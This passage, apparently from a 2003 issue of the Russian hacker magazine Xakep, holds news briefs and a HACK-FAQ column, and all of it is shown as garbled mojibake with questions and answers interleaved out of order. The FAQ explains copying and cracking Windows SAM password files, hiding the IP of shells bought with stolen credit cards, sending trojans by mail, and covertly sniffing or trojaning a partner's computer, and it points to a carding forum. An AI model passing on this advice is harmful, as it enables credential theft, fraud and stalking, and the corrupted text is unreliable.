"ïåðñïåêòèâíûõ ðåøåíèé" ñòàë íîâûé çàêîíîïðîåêò, êîòîðûå ïðåäëîæèëè íà<br />
ðàññìîòðåíèå ñåíàòîðû Êîíðàä Áåðíñ è Ðîí Óàéäåí. À âñåãî-òî è íóæíî -<br />
ïðèêàçàòü ñïàìåðñêîìó ñáðîäó óêàçûâàòü ñâîè ðåàëüíûå êîíòàêòû, âêëþ÷àÿ<br />
e-mail, è îòïèñûâàòü íå çàèíòðèãîâàííûõ "ìèëëèîíîì áàêñîâ çà íåäåëþ" þçâåðåé.<br />
À êòî íå ïîñëóøàåòñÿ - áàáêè íà áî÷êó, ïðè÷åì â íåìåðåííûõ êîëè÷åñòâàõ.<br />
Êñòàòè, íàæèòüñÿ ìîæíî áóäåò íå òîëüêî ïðàâèòåëüñòâó, íî è ðÿäîâûì<br />
ãðàæäàíàì, ïðàâäà ïîêà òîëüêî ïðè ñîäåéñòâèè ãåíïðîêóðîðà. Ðåøåíèå, èìõî,<br />
ðàçóìíîå, mindw0rk äàåò Ñåíàòó íà ïîäïèñàíèå çåëåíûé ñâåò. Îñòàëîñü<br />
òîëüêî çàñòàâèòü ñïàìåðîâ ïîä÷èíÿòüñÿ ýòîìó çàêîíó. Âåäü èçâåñòíî - äëÿ<br />
ñïàìåðüÿ çàêîíû íå ïèñàíû.<br />
ÊÎÏÈÐÀÉÒÛ ÈÇ ÆÅËÅÇÎÁÅÒÎÍÀ<br />
 àïðåëå Âëàäèìèð Ïóòèí ïîäïèñàë çàêîí "Î âíåñåíèè èçìåíåíèÿ â ñòàòüþ<br />
146 Óãîëîâíîãî êîäåêñà Ðîññèéñêîé Ôåäåðàöèè", êîòîðûé áîëüøå ïðåæíåãî<br />
óæåñòî÷àåò îòâåòñòâåííîñòü çà íàðóøåíèå àâòîðñêèõ ïðàâ. Òåïåðü îñîáî<br />
çëîñòíûå ïèðàòû ìîãóò îòïðàâèòüñÿ â êðóèç ïî Áóòûðêå íà 5 ëåò, ñ êîíôèñêàöèåé<br />
âñåãî äâèæèìîãî è íåäâèæèìîãî áàðàõëà. Áîëåå ëåãêàÿ ñòåïåíü ïðåäóñìàòðèâàåò<br />
âçûñêàíèå 200-400 çàðàáîòíûõ ìèíèìóìîâ. Íå äóìàþ, ÷òî ýòî âãîíèò<br />
â ñòóïîð íàøèõ óâàæàåìûõ ïîñòàâùèêîâ "äèñêîâ ïî 2 áàêñà êèëîãðàìì" -<br />
ó ìîíñòðîâ ðûíêà öèôðû âûçîâóò ëèøü óëûáêó, à äî òþðüìû ó íàñ äåëî â òàêèõ<br />
ñëó÷àÿõ ðåäêî äîõîäèò.<br />
Ëóæêîâ ïîáåäèë!<br />
Íà ñàéòå http://www.privacyinternational.org/activities/stupidsecurity/ ïîäâåëè<br />
èòîãè êîíêóðñîâ íà ñàìûå íåîáúÿñíèìûå, íàâÿç÷èâûå, ïðîòèâíûå,<br />
ðàçäðàæàþùèå è òóïûå ïðèìåíåíèÿ ïîíÿòèÿ "ñåêüþðèòè" â ïîâñåäíåâíîé<br />
æèçíè. Ïî÷åòíîå âòîðîå ìåñòî â íîìèíàöèè "òóïûå" çàíÿë ìýð<br />
Ìîñêâû Þðèé Ëóæêîâ çà òàêîå, íåñîìíåííî, ïîëåçíîå èçîáðåòåíèå, êàê<br />
ìîñêîâñêàÿ ïðîïèñêà. Ïîëåçíîå äëÿ ìèëèöèè, ïîëåçíîå äëÿ íàøèõ äîðîãèõ<br />
áþðîêðàòîâ, íî òóïîå è îñêîðáèòåëüíîå äëÿ äåñÿòêîâ ìèëëèîíîâ<br />
ðîññèéñêèõ è èíîñòðàííûõ ãðàæäàí, ìíîãèì èç êîòîðûõ ïðîïèñêà ðåàëüíî<br />
ïîäïîðòèëà æèçíü. Òàê ÷òî äàâàéòå ïîáëàãîäàðèì ìýðà ñòîëèöû âñåÿ<br />
Ðóñè çà òî, ÷òî îí íå äîïóñòèë íåïîïàäàíèÿ âåëèêîé äåðæàâû â ñïèñîê<br />
ÍÀ ÊÎËÅÍÈ, ÑÖÓÊÀ ÑÏÀÌÅÐÑÊÀß!<br />
Çíàåøü ëè òû àíãëèéñêèé Õîðîøî çíàåøü Âîîáùå íå çíàåøü Îí òåáå íà<br />
õðåí íå íóæåí Êàêèì áû íè áûë òâîé îòâåò, äîáðûå ðåáÿòà èç Öåíòðà Àìåðèêàíñêîãî<br />
Àíãëèéñêîãî ùåäðî ïðåäëàãàþò âñåì ñâîè óñëóãè. Çâîíè, ìîë, íàðîä,<br />
ñþäà-òî è òóäà-òî, îáó÷èì, îáóåì è ñ÷àñòüåì îáåñïå÷èì. Òàêîå ïèñüìî, íàâåðíîå,<br />
ïîëó÷èë êàæäûé ÷èòàòåëü ][. Ýïèäåìèÿ "àìåðèêàíñêîãî àíãëèéñêîãî" çàõëåñòíóëà<br />
âåñü ðóíåò, è íåò îò íåå, âðîäå áû, ñïàñåíüÿ. Àí íåò, ðóññêèõ òàê<br />
ïðîñòî íå âîçüìåøü. Ìû ñàìè òîãî êîãî óãîäíî. Ñ òàêèì äåâèçîì âûñòóïèë â<br />
"Ðóññêîì Æóðíàëå" Êåøà Æåãëîâ, ïðèçûâàÿ âñåõ îáèæåííûõ íå ìèðèòüñÿ ñî<br />
çëîì, à îòâåòèòü åìó áîëòîì íà òðèäöàòü äâà. Êîíêðåòíåå - ïîçâîíèòü ïî ïðåñëîâóòûì<br />
òåëåôîíàì: 238-33-86, 778-9894, 411-0232 è, îñâåäîìèâøèñü îáî<br />
âñåõ óñëóãàõ, çàïèñàòüñÿ íà êóðñû. Ðåçóëüòàòû àêöèè ïî õîäó îïèñûâàþòñÿ â<br />
ÐÆ è íàïðÿìóþ çàâèñÿò îò àêòèâíîñòè íàðîäà. Òàê ÷òî, åñëè õî÷åøü, ÷òîáû<br />
1 2 3 4<br />
52 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
äîáðî âîñòîðæåñòâîâàëî, è ñïàìåð íîìåð îäèí â èñïóãå ñáåæàë îò ðóíåòà â<br />
êóñòû - âíåñè â äåëî ñâîþ ëåïòó.<br />
ÐÓÑÑÊÈÅ ÕÀÊÅÐÛ - ÃÐÎÇÀ ÀÌÅÐÈÊÀÍÑÊÈÕ ÁÎËÜÍÈÖ<br />
"Ýòî åñòü ñäåëàë ýòè íåñíîñíûé ðóñèù", - òàêèì áûëî çàêëþ÷åíèå àãåíòîâ<br />
ÔÁÐ, ðàññëåäîâàâøèõ áîëüíè÷íîå äåëî. ×òî çà äåëî Äà òàê... â îáùåì, êòîòî,<br />
ïðèàòà÷èâ ê ãåéìóõå òðîÿí, âïàðèë åãî íà êîìï, íàõîäÿùèéñÿ â äåðåâåíñêîé<br />
áîëüíèöå, à ïîòîì çàëåç â win3.x ñèñòåìó è íåìíîãî òàì ïðîãóëÿëñÿ. «Êàðàóë!!!<br />
- çàêðè÷àë àäìèí ñåðîãî çàâåäåíèÿ íà îòøèáå. - Êîíôèäåíöèàëüíóþ<br />
èíôîðìàöèþ ãðàáþò!» ×òîáû ðàññëåäîâàòü ×Ï ÔÁÐ êîìàíäèðîâàëî ëó÷øèõ<br />
ñâîèõ àãåíòîâ. Áåç ñíà è îòäûõà ëþäè â ÷åðíîì íàñòîé÷èâî øëè ïî ñëåäó õàêåðîâ<br />
è, íàêîíåö, âûøëè íà ñåðâàê òåëåêàíàëà "Àëü-Äæàçèðà". Íî ÔÁÐ òàê<br />
ïðîñòî íå ïðîâåäåøü. «Ýòî îïðåäåëåííî ñäåëàëè ðóññêèå, - äîãàäàëèñü àãåíòû<br />
Äæîí è Äæåê, - ïîòîìó ÷òî òîëüêî ðóññêèå íàñòîëüêî õèòðû è êîâàðíû». Â<br />
ïå÷àòíûõ îðãàíàõ àìåðèêàíñêîãî Ãàäþêèíî òóò æå ïîÿâèëàñü ëèõàÿ íîâîñòü:<br />
"Íà íàøó ëó÷øóþ áîëüíèöó íàïàëà ðóññêàÿ ìàôèÿ!" Äåðåâåíñêèå æèòåëè ñåé-<br />
÷àñ ðàçâå ÷òî áîìáîóáåæèùà íå ðîþò... à â ýòî âðåìÿ ãäå-òî â äàëåêîì ìîíãîëüñêîì<br />
àóëå õàêýð Âàõòàíã íåäîóìåâàåò, ïî÷åìó âíåçàïíî ñòàë íåäîñòóïåí<br />
òîò ñìåøíîé êîìïüþòåð ñ äðåâíåé îñåé, íà êîòîðîì ëåæàë ðåöåïò, êàê âûëå-<br />
÷èòü åãî ëþáèìóþ êîçó.<br />
ÏÐÎ ÁÈËËÀ ÃÅÉÒÑÀ, ÌÈÐ ÅÃÎ ÏÐÀÕÓ<br />
 íà÷àëå àïðåëÿ ìèð íà ïîë÷àñà<br />
ëèøèëñÿ ñâîåãî ñàìîãî áîãàòîãî<br />
îáèòàòåëÿ. Ýòî ïîñòàðàëèñü,<br />
óãàäàéòå êòî - îíè ñàìûå, õàêåðû.<br />
Êîìó-òî èç íàøèõ ñ âàìè<br />
êîëëåã óäàëîñü ïðîðâàòüñÿ íà<br />
CNN.com è ðàçìåñòèòü òàì ñîîáùåíèå<br />
î ñìåðòè Áèëëà Ãåéòñà.<br />
Ìåññàãà íà ãëàâíîé ñòðàíèöå<br />
ïå÷àëüíî ãëàñèëà: "Óáèëè,<br />
òîâàðèùè! Çàãóáèëè ñîâñåì.<br />
Ïðèñòðåëèëè íà áëàãîòâîðèòåëüíîì<br />
ïðèåìå â Ëîñ-Àíäæåëåñå".<br />
Íå óñïåëî âñå êîìïüþòåðíîå<br />
÷åëîâå÷åñòâî âîçðàäîâàòüñÿ<br />
è ñîáûòèå îòìåòèòü, êàê<br />
ñèýíýíîâöû, øàðêàÿ íîæêîé,<br />
ñîîáùèëè: "Çâåíÿåìñÿ. Îøèáî÷êà-ñ<br />
âûøëà. Íàñ ïîõàêàëè, à<br />
Îäíà èç "óòîê", âàëÿâøèõñÿ â Ñåòè Ãåéòñ æèâ". Ìèìîëåòíàÿ óòêà â<br />
íåêîòîðûõ ñòðàíàõ âûçâàëà ÷óäîâèùíîé<br />
êðàñîòû ðåçîíàíñ. Íàïðèìåð, èíäåêñ ôîíäîâîé áèðæè â Ñåóëå ñðàçó<br />
óïàë íà 1,5%. Êñòàòè, ïðèêîëèñòû íåìíîãî îáëàæàëèñü ñ âîçðàñòîì, äîáàâèâ 48-<br />
ëåòíåìó äÿäå Áèëëó ëèøíèå 7 ëåò. Íî íå ïðåäñòàâëÿþ, êàêîé Êîëîìáî ìîã çàïðèìåòèòü<br />
â òîò ìîìåíò ýòó äåòàëü. Òàê ÷òî ðàíî ìû íàøå ñ÷àñòüå õîðîíèì. Îí<br />
åùå óñïååò ïðîäàòü âèíäó íàøèì äåòÿì, äåòÿì íàøèõ äåòåé, ïðàâíóêàì, ïðàïðàâíóêàì<br />
è âñåì îñòàëüíûì ðîäñòâåííèêàì äî äåñÿòîãî êîëåíà, à åùå âûïîëíèòü<br />
ñâîé ãëàâíûé ïëàí - ïîðàáîòèòü ÷åëîâå÷åñòâî.<br />
ÂÅÁÌÀÍÈ ÍÀ ÑÒÐÀÆÅ ÊÎÏÈÐÀÉÒÀ<br />
Ñèñòåìà WebMoney Transfer ïðåäñòàâèëà âñåì ðàçðàáîò÷èêàì ÏÎ Software<br />
Activation Service íîâóþ ôèøêó, äàþùóþ âîçìîæíîñòü çàäàâàòü êîëè÷åñòâî àêòèâàöèé<br />
â ðåæèìå Shareware è ïðèâÿçûâàòü ñâîé ïðîäóêò ê îäíîé ïëàòôîðìå.<br />
Òåïåðü ãèáêîñòü øàðîâàð íå çíàåò ãðàíèö. Íå îáÿçàòåëüíî ïîêóïàòü ñîôòèíó çà<br />
ïîëíóþ ñòîèìîñòü, ìîæíî ïðîñòî ðàñøèðèòü çà ïîëöåíû ñðîê åå äåéñòâèÿ äî<br />
ïîëóãîäà èëè êîëè÷åñòâî çàïóñêîâ íà ëèøíþþ ñîòíþ. À õèòðàÿ ñèñòåìà ðåãèñòðàöèè<br />
óíèêàëüíîãî ID êîìïà ïîêóïàòåëÿ íå ïîçâîëèò âðàãàì, óêðàâøèì ó êëèåíòà<br />
ïðîãó, çàïóñòèòü åå íà ñâîåé ìàøèíå. Îïà, âðàãîâ ìû îáìàíóëè, íî êàê áûòü<br />
ñ äðóçüÿìè À âîò òàê. Òåïåðü íà ïðîñüáó êîðåøà îáåñïå÷èòü åãî êóëâàðåçîì,<br />
ñêàæåøü: "Ôèãà, áàêëàí, ó ìåíÿ ëèöåíçèÿ, âèäàë È íå êàêàÿ-òî òàì, à íåïðîáèâàåìàÿ,<br />
îò WebMoney". Íàñêîëüêî íåïðîáèâàåìàÿ, ìû óçíàåì â áóäóùåì, íàäî<br />
ëèøü íåìíîæêî ïîäîæäàòü. Íî â ëþáîì ñëó÷àå áåç âíèìàíèÿ ýòîò<br />
ñåðâèñ âðÿä ëè îñòàíåòñÿ. Ó íàñ ìíîãî ïðîãðàììåðîâ, à ëþäåé, æàäíûõ<br />
äî äåíåã çà ñâîè òðóäû - åùå áîëüøå.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7
HACK-FAQ<br />
By Î. Áðóí (hack-faq@real.xakep.ru)<br />
ÕÀÊÅÐ\¹51\Ìàðò\2003<br />
Çàäàâàÿ âîïðîñû, êîíêðåòèçèðóé èõ. Äàâàé áîëüøå äàííûõ î<br />
ñèñòåìå, îïèñûâàé àáñîëþòíî âñå, ÷òî òû çíàåøü î íåé. Ýòî ìíå<br />
ïîìîæåò îòâåòèòü íà òâîè âîïðîñû è óêàçàòü òâîè îøèáêè. È íå ñòîèò<br />
çàäàâàòü âîïðîñîâ âðîäå “Êàê ñëîìàòü www-ñåðâåð” èëè âîîáùå<br />
ïðîñèòü ó ìåíÿ “õàëÿâíîãî” Internet’à. ß âñå ðàâíî íå äàì, ÿ æàäíûé :)<br />
Ãäå â Windows<br />
XP õðàíÿòñÿ<br />
êýøèðîâàííûå ïàðîëè,<br />
êàê èõ äîñòàòü<br />
A: Ôèëîñîôèÿ áåçîïàñíîñòè XP ïðîèñõîäèò èç<br />
êëàññè÷åñêîé, NT'âîé, ò.å. ïðàêòè÷åñêè óíèâåðñàëüíà<br />
äëÿ âñåé ëèíåéêè NT/2000/XP. Îòñþäà âûòåêàþò<br />
è òå æå ìåòîäû âûáèâàíèÿ ïàðîëåé èç<br />
ñèñòåìû. Ôàéë ïàðîëåé ïðÿ÷åòñÿ â Ñèñòåìíîé<br />
ïàïêå/system32/config è íàçûâàåòñÿ SAM (Security<br />
Account Manager). Ïîëó÷èòü ïðÿìîé äîñòóï ê<br />
ôàéëó âî âðåìÿ ðàáîòû ñèñòåìû - íåâîçìîæíî.<br />
×òîáû åãî äîñòàòü, ñëåäóåò ïåðåçàãðóçèòüñÿ èç<br />
äðóãîé îïåðàöèîíêè, ñäåëàâ êîïèþ èñêîìîãî<br />
ôàéëà. Òàêæå, äàæå íå ñîâåðøàÿ ïåðåçàãðóç,<br />
ìîæíî ñòÿíóòü ôàéë èç Ñèñòåìíîé ïàïêè/repair,<br />
ó÷èòûâàÿ, ÷òî âàëÿþùàÿñÿ çäåñü âåðñèÿ SAM'à<br />
ìîæåò áûòü óñòàðåâøåé (íå âñå ó÷åòíûå çàïèñè<br />
îòîáðàæåíû, íå îòìå÷åíà ñìåíà ïàðîëåé äëÿ àêêàóíòîâ).<br />
Èìåÿ ôàéë íà ðóêàõ, ìîæíî ïðèñòóïàòü<br />
ê ëîáîòîìèè, âñêðûòèþ íàõîäêè äëÿ ñëèâà èíôû.<br />
Êëàññè÷åñêèé ñêàëüïåëü - LC4 îò @stake îòäûõàåò<br />
íà http://www.atstake.com/research/lc/download.html,<br />
íàèëó÷øàÿ ðåàëèçàöèÿ èäåè - LC+4<br />
http://lcp.nm.ru/, êîòîðàÿ óìååò ðàáîòàòü òàêæå ñ<br />
íåëàòèíñêèìè ïàðîëÿìè. Çà äîïîëíèòåëüíîé èíôîé<br />
ëåçåì íà http://www.bugtraq.ru/library/security/passwords.html.<br />
Òàêæå ñîâñåì íåäàâíî âûøëà<br />
SamInside V2.0 äëÿ ðàñøèôðîâêè sam'öîâ -<br />
http://www.insidepro.com/.<br />
×òî äåëàòü/þçàòü<br />
äëÿ óäàëåííîãî<br />
àäìèíèñòðèðîâàíèÿ<br />
(õî÷ó ìîíèòîðèòü<br />
äðóãàíà) Ìû -<br />
ìîäíûå, ó îáîèõ ñòîèò<br />
winXP. Êàêîé ñàìûé<br />
ïðîñòîé ñïîñîá<br />
A: Åñëè âû óïàêîâàííûå ïàðíè íà XP, òî ñàìûì<br />
ïðîñòûì áóäåò èñïîëüçîâàíèå RD<br />
(Remote Desktop), óòèëèòà, âêëþ÷åííàÿ â íîâóþ<br />
âèíäó ïî óìîë÷àíèþ. Òû ïîëó÷àåøü ïîëíîöåííûé<br />
äîñòóï ê åãî äåñêòîïó è ìîæåøü âûòâîðÿòü<br />
âñå, ÷òî ìîæåò îí ñàì (ïðàâà äîñòóïà<br />
÷åðåç RD ìîãóò áûòü ðàçëè÷íûìè). Ñóùåñòâóåò<br />
êó÷à àíàëîãè÷íûõ ðàçðàáîòîê îò ñòîðîííåãî<br />
ïðîèçâîäèòåëÿ. Ïðèçíàííûé ãðàíä è çíàê êà-<br />
÷åñòâà - Remote Admin (www.radmin.com), êîòîðûé,<br />
óâû, òóãîâàò íà îáíîâëåíèÿ.<br />
Ðàññêàæè<br />
ïðî dial-out è ÷òî ñ<br />
íåãî ìîæíî ñîñòðè÷ü.<br />
A: Íå òîëüêî ó òåáÿ åñòü ñâîé ìîäåì. Ñóùåñòâóþò<br />
è äðóãèå ñ÷àñòëèâûå îáëàäàòåëè, êîòîðûå<br />
òàêæå îòêðûâàþò äîñòóï ê ñâîåìó çâåðþ èç Ñåòè.<br />
Òû ñîåäèíÿåøüñÿ ñ ìàøèíîé IP dial-out'a, è ìîæåøü<br />
èñïîëüçîâàòü ìîäåì óäàëåííî, ò.å. ìóòèòü<br />
êîííåêò ñ íîìåðà äðóãîé ìàøèíû, ñîçäàâàÿ âèðòóàëüíîå<br />
ñîåäèíåíèå. Ñåðâèñ áûë è îñòàåòñÿ ïîïóëÿðíûì<br />
ñðåäè êîðïîðàòèâíûõ þçåðîâ, êîòîðûì<br />
íåîáõîäèìî ïðîçâîíèòü ìîäåìíûå íîìåðà<br />
çà áóãðîì: èç Ñåòè îíè ïîäðóáàþòñÿ ê ñåðâåðó,<br />
íàõîäÿùåìóñÿ â íóæíîì ãîðîäå, è óæå îòòóäà òåëåôîíÿò<br />
â íóæíîì íàïðàâëåíèè. Õàêåðó æå ñèÿ<br />
âîçìîæíîñòü ïîëåçíà äëÿ óñòàíîâêè óñëîâíî-àáñîëþòíîé<br />
àíîíèìíîñòè: dial-out ñòîèò â Àôðèêå,<br />
îòêóäà òû ïðîçâàíèâàåøüñÿ ìåñòíîìó ïðîâàéäåðó,<br />
à îí â ñâîþ î÷åðåäü ëîâèò â ëîãè âûõîä ñ<br />
ìåñòíîãî òåëåôîííîãî íîìåðà. Dial-out'û ìîæíî<br />
íàñòðàèâàòü ñàìîìó íà çàõâà÷åííûõ ìàøèíàõ<br />
èëè äðóæåñêîì ñåðâàíòå - ñóùåñòâóåò àðõèóäîáíûé<br />
FAQ Linux: How-To Dial-Out. Åñëè ïîëîìàííûõ<br />
ìàøèí íåò, èëè àäìèíèñòðèðîâàòü íå äîâåðÿþò,<br />
èùåì óæå óñòàíîâëåííûå dial-out'û. Îíè<br />
îáû÷íî âèñÿò íà ïîðòàõ 2001-2012. Áûâàþò èçâðàòû,<br />
êîòîðûå ìîæíî âûÿâèòü ïðè íàëè÷èè äîñòóïà<br />
ê ñåðâåðó (èùåì dial-out ñåðâèñ â ïðîöåññàõ,<br />
êîïàåì ôàéëû íàñòðîåê). Íåñêîëüêî óñòàðåâøèé,<br />
íî ñëåãêà ïîëåçíûé ìàòåðèàë ïî òåìå -<br />
http://www1.xakep.ru/post/15523/default.asp.<br />
Ìîæíî êóïèòü è ãîòîâîå ðåøåíèå, îáû÷íî ïðåäîñòàâëÿåòñÿ<br />
çëîáíûìè õàêåðàìè - forum.carderplanet.net.<br />
ß ðàññûëàþ<br />
òðîÿíîâ ïî÷òîé. Êàê<br />
ìíå áûòü â êóðñå, ÷òî<br />
ïèñüìî áûëî ïðî÷òåíî<br />
A: Óñòðîéñòâî ïðîòîêîëà SMTP íå ïðåäïîëàãàåò äåôîëòîâîãî<br />
îïîâåùåíèÿ î ïðî÷òåíèè. Òû áóäåøü â<br />
êóðñå, ÷òî ïèñüìî äîøëî, ëèøü åñëè àäðåñàò àâòîìàòè÷åñêè<br />
îòâå÷àåò ðåïëèêîé âðîäå: "Ïèñüìî áûëî<br />
ïîëó÷åíî, æäèòå îòâåòà". Ïîäîáíîå ðàáîòàåò â ðÿäå<br />
ïî÷òîâûõ êëèåíòîâ (The Bat! - "Ïîäòâåðæäåíèå î<br />
ïðî÷òåíèè"), à òàêæå íåêîòîðûõ e-mail ñëóæáàõ.<br />
ß íèêàê íå<br />
ïîéìó, ÷òî çà Îòäåë "Ð"<br />
A: Ïîíèìàòü íå îáÿçàòåëüíî, ò.ê. äàííûé îòäåë<br />
áûë ðåôîðìèðîâàí â êîíöå 2001 è ïåðåèìåíîâàí<br />
â Îòäåë "Ê". Åñëè æå ãîâîðèòü îá îðèãèíàëüíîì<br />
ïðîôèëå "Ð", òî ýòèìè áîéöàìè çàòðàãèâàþòñÿ<br />
ñëåäóþùèå îáëàñòè êðèìèíàëüíîãî áûòèÿ:<br />
"áîðüáà ñ íåçàêîííûì îáîðîòîì ðàäèîýëåêòðîííûõ<br />
ñðåäñòâ è ñïåöèàëüíûõ òåõíè÷åñêèõ ñðåäñòâ,<br />
áîðüáà ñ ïðåñòóïëåíèÿìè â ñôåðå êîìïüþòåðíîé<br />
èíôîðìàöèè è â òåëåêîììóíèêàöèîííûõ ñåòÿõ, â<br />
ñôåðå íåçàêîííîãî èñïîëüçîâàíèÿ èíôîðìàöèîííûõ<br />
ðåñóðñîâ è íîñèòåëåé èíôîðìàöèè; áîðüáà<br />
ñ ïðåñòóïëåíèÿìè â îáëàñòè àâòîðñêèõ è<br />
ñìåæíûõ ïðàâ" (ñ) stop.lipetsk.ru. Ãîâîðÿ ðóññêèì<br />
ÿçûêîì: îòñëåæèâàíèå è ëèêâèäàöèÿ çàïðåùåííûõ<br />
äåâàéñîâ, êàê òî àïïàðàòóðà äëÿ ïðîñëóøêè è<br />
ìîíèòîðèíãà; õàêåðñòâî (ïðîìûøëåííûé øïèîíàæ),<br />
ôðèêåðñòâî; ïèðàòñòâî, íàðóøåíèå êîïèðàéòîâ.<br />
Îòäåëû "Ð" ñóùåñòâóþò ïðè áîëüøèíñòâå<br />
ðåãèîíàëüíûõ îòäåëåíèé ÌÂÄ, íà÷èíàÿ ñ Ìîñêâû<br />
è çàêàí÷èâàÿ ñîâñåì íåáîëüøèìè ãîðîäàìè íàøåé<br />
Ðîäèíû. Íà÷èíàþùåìó êèáåðïðåñòóïíèêó<br />
ñëåäóåò ïðîáåæàòüñÿ ïî ñàéòàì îòäåëîâ, òàì èçðåäêà<br />
áûâàþò çàíÿòíûå ìàòåðèàëû (à-ëÿ "Ñóäåáíàÿ<br />
ïðàêòèêà êîìïüþòåðíûõ ïðåñòóïëåíèé"),<br />
ëèíêè òóò: http://klax.tula.ru/~uvd/in2.php3p=2.<br />
ß ïîêóïàþ íà<br />
êðàäåíóþ êðåäó øåëë,<br />
íî çàòåì, çàõîäÿ íà<br />
unix-ñåðâàê ÷åðåç SSH,<br />
ñâå÷ó ñâîé ðåàëüíûé<br />
IP. Âåäü òàê ìåíÿ ýëåìåíòàðíî<br />
âû÷èñëÿþò.<br />
Êàê æå ëþäè èñïîëüçóþò<br />
øåëëû<br />
A: Ëþäè èñïîëüçóþò çàêîííî ïðèîáðåòåííûå<br />
øåëëû ;), à âèðòóàëüíûå ×èíãà÷ãóêè äåéñòâóþò<br />
òàê. Âî-ïåðâûõ, êòî ìåøàåò èñïîëüçîâàòü òå æå<br />
ïðîêñè (Socks'û) ïðè ñîåäèíåíèè, îñîáåííî èõ<br />
êàñêàä (www.ufasoft.com/socks) Ëþáèìûé<br />
SecureCRT èìååò ïîääåðæêó ïðîêñè. Âî-âòîðûõ,<br />
çàõîäèòü íà øåëë-ñåðâåð òû ìîæåøü íå<br />
òîëüêî ñ ëîêàë-õîñòà, íî è äðóãîé óäàëåííîé<br />
ìàøèíû (÷àùå - *nix, îáû÷íûì ssh shell.server.com<br />
-l login), òîãäà â ëîãàõ øåëë-ïðîâà çàñâåòèòñÿ<br />
óäàëåííàÿ òà÷êà, à íå òâîÿ ñîáñòâåííàÿ.<br />
Â-òðåòüèõ, ðåàëüíûé IP ó "ðåàëüíûõ ïàöàíîô"<br />
ìîæåò áûòü î÷åíü ñïåöèôè÷åñêèì, ê ïðèìåðó,<br />
âûäåëåííûì dial-in ñåðâåðîì òâîåãî êîðåøà-àäìèíà,<br />
êîòîðûé âñå abuse'û áóäåò ïîñûëàòü<br />
íà ôèã. Íàïîñëåäîê, åñëè òû íå ñèëüíî<br />
áåñïðåäåëüíè÷àåøü íà øåëëå, òî âðÿä ëè òîáîé<br />
çàéìóòñÿ èç-çà ýêñïðîïðèèðîâàííûõ 10 ó.å.<br />
1 2 3 4<br />
54 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ìîÿ äåâàõà<br />
ïî õîäó êðóòèò øàøíè<br />
ñ êîçëîáîðîäûì èç<br />
åå äîìàøíåé ëîêàëêè.<br />
ß ñàì íà äèàëàïå,<br />
âêëþ÷àþ ñíèôåð<br />
CommView, íî âèæó<br />
òîëüêî ñâîè ïàêåòû.<br />
Êàê ìíå èõ óëè÷èòü,<br />
ñîñíèôàòü<br />
ß óâåðåí,<br />
÷òî âû ñëûøàëè<br />
ïðî ïðîâàéäåðà<br />
SITA. Ñàì ÿ òîëêîì<br />
íå çíàþ, ÷òî ýòî,<br />
íî çíàþ, ÷òî<br />
ñ ïîìîùüþ "ýòîãî"<br />
ìîæíî ëåãàëüíî<br />
è áåñïëàòíî ñèäåòü<br />
â èíåòå! Êàê ñîçäàòü<br />
ñêðèïò è âñå òàêîå<br />
A: Ïî÷åìó æå òû åùå CitiCorp.com ïîêà íå ñîñíèôàë<br />
Ïî òîé æå ïðè÷èíå íå ïîëó÷àåòñÿ è ñ "äðóçüÿìè":<br />
òû ôèçè÷åñêè íå ÿâëÿåøüñÿ ÷ëåíîì èõ ñåòè.<br />
Åñëè æå íóæíî ñîñíèôàòü, ïðèäåòñÿ âëîìèòüñÿ â<br />
íóæíóþ ñåòü è ïîñòàâèòü ñíèôåð íà îäíó èç òàìîøíèõ<br />
ìàøèí: íå÷òî âðîäå íåçàìåòíîãî The<br />
Gobbler/poorsniffer äëÿ win èëè ëþáîé êîíñîëüíûé<br />
äëÿ *nix. Ïîäîáíîå ïîëó÷èòñÿ áåç ïðîáëåì, åñëè<br />
íóæíàÿ ñåòêà ïîñòðîåíà íà õàáàõ, à íå íà<br />
switch'àõ. Åñëè æå âñÿ ñåòü ñèäèò çà îäíèì âíåøíèì<br />
IP, è íèêàê íå ïîëó÷àåòñÿ çàõâàòèòü ìàøèíó â<br />
ñåòè, òî ëîãè÷íûì áóäåò çàõâàò öåëîãî ïðîâà ëîêàëêè.<br />
Ìåòîäû ñíèôèíãà îñòàþòñÿ ïðåæíèìè. Åñëè<br />
æå òû îëèãàðõ, òî ìîæíî ïîäêóïèòü àäìèíèñòðàòîðà<br />
ñåòè, ÷òîáû òîò ñîáðàë ëîãè íà íóæíûõ ëþäåé.<br />
Åñòü âàðèàíò è ñ ôèçè÷åñêèì ïîäêëþ÷åíèåì<br />
ê ñåòè - íîóòáóê â ëàïû, öåïëÿåìñÿ ê ñåòè (ðåæåòñÿ<br />
ñåòåâîé êàáåëü â ïîäúåçäå), íàñòðàèâàåìñÿ êàê<br />
íîðìàëüíûé þçåð, ñíèôèíã â äåëå. Õîòÿ åñòü ñîìíåíèÿ,<br />
÷òî ìîæíî äîëãî ïðîòîð÷àòü â ïîäúåçäå,<br />
îæèäàÿ íóæíîãî ðàçãîâîðà â ñåòè.  èòîãå ïîëó÷àåòñÿ,<br />
÷òî ïðîùå ïîëó÷èòü äîñòóï ê ìàøèíàì ëþáîâíèêîâ<br />
(ïðîòðîÿíèòü).<br />
Êàê<br />
îïðåäåëèòü IP þçåðà,<br />
çíàÿ åãî email Êàêèå<br />
ïîäâîõè ñ ýòèì<br />
A: ][ íå òîëüêî ñëûøàë, íî è ïèñàë<br />
http://www.xakep.ru/magazine/xa/032/052/1.htm.<br />
Âî-ïåðâûõ, ñëåäóåò ïîíÿòü, ÷òî ÑÈÒÀ<br />
(www.sita.int) - ãëîáàëüíàÿ ñåòü, à íå ïðîâàéäåð.<br />
Êîíòîðà îðãàíèçîâûâàåò äîñòóï ïî âñåìó ìèðó<br />
ñâîèì ãëàâíûì çàêàç÷èêàì - ñîòíÿì àýðîïîðòîâ<br />
ïî âñåìó ìèðó. Ñóùåñòâóþò ïðîâàéäåðû, êîòîðûå<br />
ïðîäàþò ìîäåìíûé äîñòóï ÷åðåç ìåæäóíàðîäíûå<br />
ñåðèè ïóëîâ SITA - iPass.com è èæå ñ<br />
íèì. Âî-âòîðûõ, êàê ëåãêî äîãàäàòüñÿ íàøåìó<br />
÷èòàòåëþ - áåñïëàòíî è ëåãàëüíî, â ñëó÷àå èíåòà<br />
îò ãëîáàëüíîé ñåòè - âåùè íåñîâìåñòèìûå.<br />
Ïðàêòè÷åñêè âñå, ÷òî çäåñü èñïîëüçóåòñÿ äëÿ<br />
õàëÿâû - íåëåãàëüíî. Áûâàþò ñëó÷àè, êîãäà<br />
